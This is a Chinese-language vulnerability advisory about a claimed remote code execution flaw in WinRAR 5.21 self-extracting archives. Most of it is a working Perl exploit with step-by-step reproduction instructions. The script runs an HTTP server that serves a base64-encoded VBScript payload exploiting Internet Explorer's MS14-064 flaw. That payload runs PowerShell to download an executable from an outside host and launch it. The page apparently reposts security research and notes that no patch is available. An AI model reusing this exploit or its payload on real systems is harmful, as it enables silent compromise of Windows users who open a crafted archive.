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WinRAR SFX v5.21远程代码执行漏洞

来源:互联网 作者:佚名 时间:2015-11-25 00:20
WInRAR SFX v5.21,Text to display in SFX window模块的Text and Icon功能存在远程代码执行安全漏洞,远程攻击者用带恶意负载的

WinRAR SFX v5.21远程代码执行漏洞


发布日期:2015-10-05
更新日期:2015-10-08

受影响系统:

WinRar WinRar 5.21

描述:

WinRAR是一款非常流行的压缩/解压工具。

WInRAR SFX v5.21,Text to display in SFX window模块的Text and Icon功能存在远程代码执行安全漏洞,远程攻击者用带恶意负载的压缩包利用此漏洞,成功后可执行特定的系统代码,破解系统、网络或设备。

<*来源:VULNERABILITY LABORATORY (research@vulnerability-lab com)
        Mohammad Reza Espargham
 
  链接:
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

The code execution vulnerability can be exploited by remote attackers without privilege system user account or user
interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to
continue.

Manual steps to reproduce the vulnerability ...
1.      Run perl code : perl poc.pl
2.      Right Click on any file and select "add to archive..."
3.      Select "Create SFX archive"
4.      Go to the Advanced Menu and select "SFX options..."
5.      Go to the "Text and icon" Menu
6.      Copy this perl output (HTML) and past on "Text to display in SFX window"
7.      Click OK -- OK
8.      Your SFX file Created
9.      Just open sfx file
10.    Your Link Download/Execute on your target
11.    Successful reproduce of the code execution vulnerability!


PoC: Exploit Code
#!/usr/bin/perl
# Title : WinRaR SFX - Remote Code Execution
# Affected Versions: All Version
# Tested on Windows 7 / Server 2008
#
# Author: Mohammad Reza Espargham
# Linkedin: https://ir.linkedin.com/in/rezasp
# E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website:
# Twitter: https://twitter.com/rezesp
# FaceBook: https://www.facebook.com/reza.espargham
#
# ID: MS14-064

use strict;
use warnings;
use IO::Socket;
use MIME::Base64 qw( decode_base64 );
use Socket 'inet_ntoa';
use Sys::Hostname 'hostname';

print "    Mohammad Reza Espargham\n\n";
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));

my $port = 80;

print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://&apos; . $ip .
'"></head></html>'."\n\n" if($port==80);
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://&apos; . $ip .
':' . $port . '"></head></html>'."\n\n" if($port!=80);

my $server = new IO::Socket::INET(  Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
ReuseAddr => 1)
or die "Unable to create server socket";

# Server loop
while(my $client = $server->accept())
{
    my $client_info;
    while(<$client>)
    {
        last if /^\r\n$/;
        $client_info .= $_;
    }
    incoming($client, $client_info);
}

sub incoming
{
    print "\n=== Incoming Request:\n";
    my $client = shift;
    print $client &buildResponse($client, shift);
    close($client);
}

sub buildResponse
{
    my $client = shift;
    my $client_info = shift;
   
    my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVt
    dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJT
    Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNo
    ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhw
    cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgn
    aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUn
    LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4
    ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwg
    Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3Jp
    cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFi
    KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAg
    aW50VmVyc2lvbgpkaW0gICBybmRhCmRpbSAgIGZ1bmNsYXNzCmRpbSAgIG15YXJyYXkKIApCZWdp
    bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZp
    Z2F0b3IuVXNlckFnZW50CiAKICBpZihpbnN0cihpbmZvLCJXaW42NCIpPjApICAgdGhlbgogICAg
    IGV4aXQgICBmdW5jdGlvbgogIGVuZCBpZgogCiAgaWYgKGluc3RyKGluZm8sIk1TSUUiKT4wKSAg
    IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5m
    bywgIk1TSUUiKSArIDUsIDIpKSAgIAogIGVsc2UKICAgICBleGl0ICAgZnVuY3Rpb24gIAogICAg
    ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVh
    dGUoKT1UcnVlIFRoZW4KICAgICBteWFycmF5PSAgICAgICAgY2hydygwMSkmY2hydygyMTc2KSZj
    aHJ3KDAxKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKQogICAg
    IG15YXJyYXk9bXlhcnJheSZjaHJ3KDAwKSZjaHJ3KDMyNzY3KSZjaHJ3KDAwKSZjaHJ3KDApCiAK
    ICAgICBpZihpbnRWZXJzaW9uPDQpIHRoZW4KICAgICAgICAgZG9jdW1lbnQud3JpdGUoIjxicj4g
    SUUiKQogICAgICAgICBkb2N1bWVudC53cml0ZShpbnRWZXJzaW9uKQogICAgICAgICBydW5zaGVs
    bGNvZGUoKSAgICAgICAgICAgICAgICAgICAgCiAgICAgZWxzZSAgCiAgICAgICAgICBzZXRub3Rz
    YWZlbW9kZSgpCiAgICAgZW5kIGlmCiAgZW5kIGlmCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uIEJl
    Z2luSW5pdCgpCiAgIFJhbmRvbWl6ZSgpCiAgIHJlZGltIGFhKDUpCiAgIHJlZGltIGFiKDUpCiAg
    IGEwPTEzKzE3KnJuZCg2KQogICBhMz03KzMqcm5kKDUpCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9u
    IENyZWF0ZSgpCiAgT24gRXJyb3IgUmVzdW1lIE5leHQKICBkaW0gaQogIENyZWF0ZT1GYWxzZQog
    IEZvciBpID0gMCBUbyA0MDAKICAgIElmIE92ZXIoKT1UcnVlIFRoZW4KICAgICAgIENyZWF0ZT1U
    cnVlCiAgICAgICBFeGl0IEZvcgogICAgRW5kIElmIAogIE5leHQKZW5kIGZ1bmN0aW9uCiAKc3Vi
    IHRlc3RhYSgpCmVuZCBzdWIKIApmdW5jdGlvbiBteWRhdGEoKQogICAgT24gRXJyb3IgUmVzdW1l
    IE5leHQKICAgICBpPXRlc3RhYQogICAgIGk9bnVsbAogICAgIHJlZGltICBQcmVzZXJ2ZSBhYShh
    MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3
    NDM3ODAxRS0zMTQKIAogICAgIGFhKGExKzIpPW15YXJyYXkKICAgICBhYigyKT0xLjc0MDg4NTM0
    NzMxMzI0RS0zMTAgIAogICAgIG15ZGF0YT1hYShhMSkKICAgICByZWRpbSAgUHJlc2VydmUgYWEo
    YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24g
    RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1y
    dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQK
    ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAg
    ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAg
    ICAgICAgICAgIAogICAgIGFhKGExKzIpKGkrJmgxMWMrayk9YWIoNCkKICAgICAgICAgICAgICBy
    ZWRpbSAgUHJlc2VydmUgYWEoYTApICAKIAogICAgIGo9MCAKICAgICAgICAgICAgICBqPXJ1bShp
    KyZoMTIwK2spICAgCiAgICAgICAgICAKICAgICAgICAgICAgICAgRXhpdCBmb3IKICAgICAgICAg
    ICBlbmQgaWYKIAogICAgbmV4dCAKICAgIGFiKDIpPTEuNjk3NTk2NjMzMTY3NDdFLTMxMwogICAg
    cnVubXVtYWEoKSAKZW5kIGZ1bmN0aW9uCiAKZnVuY3Rpb24gT3ZlcigpCiAgICBPbiBFcnJvciBS
    ZXN1bWUgTmV4dAogICAgZGltIHR5cGUxLHR5cGUyLHR5cGUzCiAgICBPdmVyPUZhbHNlCiAgICBh
    MD1hMCthMwogICAgYTE9YTArMgogICAgYTI9YTArJmg4MDAwMDAwCiAgIAogICAgcmVkaW0gIFBy
    ZXNlcnZlIGFhKGEwKSAKICAgIHJlZGltICAgYWIoYTApICAgICAKICAgCiAgICByZWRpbSAgUHJl
    c2VydmUgYWEoYTIpCiAgIAogICAgdHlwZTE9MQogICAgYWIoMCk9MS4xMjM0NTY3ODkwMTIzNDU2
    Nzg5MDEyMzQ1Njc4OTAKICAgIGFhKGEwKT0xMAogICAgICAgICAgIAogICAgSWYoSXNPYmplY3Qo
    YWEoYTEtMSkpID0gRmFsc2UpIFRoZW4KICAgICAgIGlmKGludFZlcnNpb248NCkgdGhlbgogICAg
    ICAgICAgIG1lbT1jaW50KGEwKzEpKjE2ICAgICAgICAgICAgIAogICAgICAgICAgIGo9dmFydHlw
    ZShhYShhMS0xKSkKICAgICAgICAgICBpZigoaj1tZW0rNCkgb3IgKGoqOD1tZW0rOCkpIHRoZW4K
    ICAgICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAg
    ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAK
    ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAg
    IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVs
    c2UKICAgICAgICAgICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKICAgICAgICAgICAgIGV4aXQg
    IGZ1bmN0aW9uCiAKICAgICAgICAgICBlbmQgaWYgCiAgICAgICAgZWxzZQogICAgICAgICAgIGlm
    KHZhcnR5cGUoYWEoYTEtMSkpPD4wKSAgVGhlbiAgICAKICAgICAgICAgICAgICBJZihJc09iamVj
    dChhYShhMSkpID0gRmFsc2UgKSBUaGVuCiAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUo
    YWEoYTEpKQogICAgICAgICAgICAgIGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICBl
    bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAg
    IElmKHR5cGUxPSZoMmY2NikgVGhlbiAgICAgICAgIAogICAgICAgICAgT3Zlcj1UcnVlICAgICAg
    CiAgICBFbmQgSWYgIAogICAgSWYodHlwZTE9JmhCOUFEKSBUaGVuCiAgICAgICAgICBPdmVyPVRy
    dWUKICAgICAgICAgIHdpbjl4PTEKICAgIEVuZCBJZiAgCiAKICAgIHJlZGltICBQcmVzZXJ2ZSBh
    YShhMCkgICAgICAgICAgCiAgICAgICAgIAplbmQgZnVuY3Rpb24KIApmdW5jdGlvbiBydW0oYWRk
    KSAKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAK
    ICAgCiAgICBhYigwKT0wICAgCiAgICBhYShhMSk9YWRkKzQgICAgIAogICAgYWIoMCk9MS42OTc1
    OTY2MzMxNjc0N0UtMzEzICAgICAgIAogICAgcnVtPWxlbmIoYWEoYTEpKSAgCiAgICAKICAgIGFi
    KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+
    CiAKPC9ib2R5Pgo8L2h0bWw+";
    $poc = decode_base64($poc);
   
    my $r = "HTTP/1.0 200 OK\r\nContent-type: text/html\r\n\r\n
    $poc";
    return $r;
}

建议:

厂商补丁:

WinRar
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:



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